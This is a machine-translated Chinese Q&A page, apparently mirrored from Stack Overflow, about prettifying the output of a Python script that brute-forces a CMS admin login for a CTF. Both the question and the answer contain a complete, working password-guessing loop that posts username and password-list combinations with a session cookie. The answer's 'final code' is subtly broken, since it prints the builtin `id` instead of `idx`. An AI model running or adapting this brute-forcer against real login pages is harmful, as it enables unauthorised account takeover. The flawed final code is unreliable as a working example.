我怎样才能把它们打印得更漂亮?

时间:2021-01-06 12:37:29

标签: python python-3.x

我使用 Python 为 CTF 创建了一个 Web-Bruteforce 项目。我跑了。

My Project Outputs

如您所见出了点问题。不规则。 我怎样才能把它们打印得更漂亮?这些是我的代码:

try:
    try:
        import requests
    except:
        print("You have to install \"requests\" via pip")
 
    header={"Cookie":"CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
    username = open("username.txt","r")
    username_content = username.read()
    username.close()
 
    password = open("common10k.txt","r")
    password_content = password.read()
    password.close()
 
    id=0
 
    print("=====================================================================")
    print("ID       Username          Password          Status_Code       Length")
    print("=====================================================================")
 
    for u in username_content.splitlines():
        for p in password_content.splitlines():
            url = "http://10.10.255.177/simple/admin/login.php"
            data = {"username":f"{u}","password":f"{p}","submit":"Submit"}
            sonuc = requests.post(url=url,data=data,headers=header)
            id+=1
            print(f"{id}        {u}             {p}            {sonuc.status_code}             {len(sonuc.content)}")
 
except KeyboardInterrupt:
    print("Exiting...")

(这些 IP 地址等用于 CTF)

1 个答案:

答案 0 :(得分:0)

您可以指定格式的大小,内容将用空格填充

# header
print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")

count = 0

for u in username_content.splitlines():
    for p in password_content.splitlines():
        url = "http://10.10.255.177/simple/admin/login.php"
        data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
        sonuc = requests.post(url=url, data=data, headers=header)
        count += 1
        print(f"{count:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")

更多

  • 不要使用 id 内置关键字

  • 使用 with 读取文件,您无需考虑关闭它

    with open("username.txt", "r") as username:
          username_content = username.read()
    
  • 或者用pathlib

    阅读
    from pathlib import Path
    username_content = Path("username.txt").read_text()
    
  • 您可以使用 itertools.product 来使用一个 for-loop

    for u, p in product(username_content.splitlines(), password_content.splitlines()):
    
  • 使用 enumerate 获取自动生成的 count

    for idx, (u, p) in enumerate(product(username_content.splitlines(), password_content.splitlines())):
    

最终代码

try:
    try:
        import requests
        from pathlib import Path
        from itertools import product
    except:
        print("You have to install \"requests\" via pip")

    url = "http://10.10.255.177/simple/admin/login.php"
    header = {"Cookie": "CMSSESSIDd6a5f2400115=uvtv1n19gois72a76vn4flje7u"}
    username_content = Path("username.txt").read_text().splitlines()
    password_content = Path("common10k.txt").read_text().splitlines()

    print("=" * 70)
    print(f"{'ID':5s}{'Username':15s}{'Password':15s}{'Status_code':12s}{'Length':8s}")
    print("=" * 70)

    for idx, (u, p) in enumerate(product(username_content, password_content)):
        data = {"username": f"{u}", "password": f"{p}", "submit": "Submit"}
        sonuc = requests.post(url=url, data=data, headers=header)
        print(f"{id:<5d}{u:15s}{p:15s}{sonuc.status_code:<12d}{len(sonuc.content):<8d}")

except KeyboardInterrupt:
    print("Exiting...")
相关问题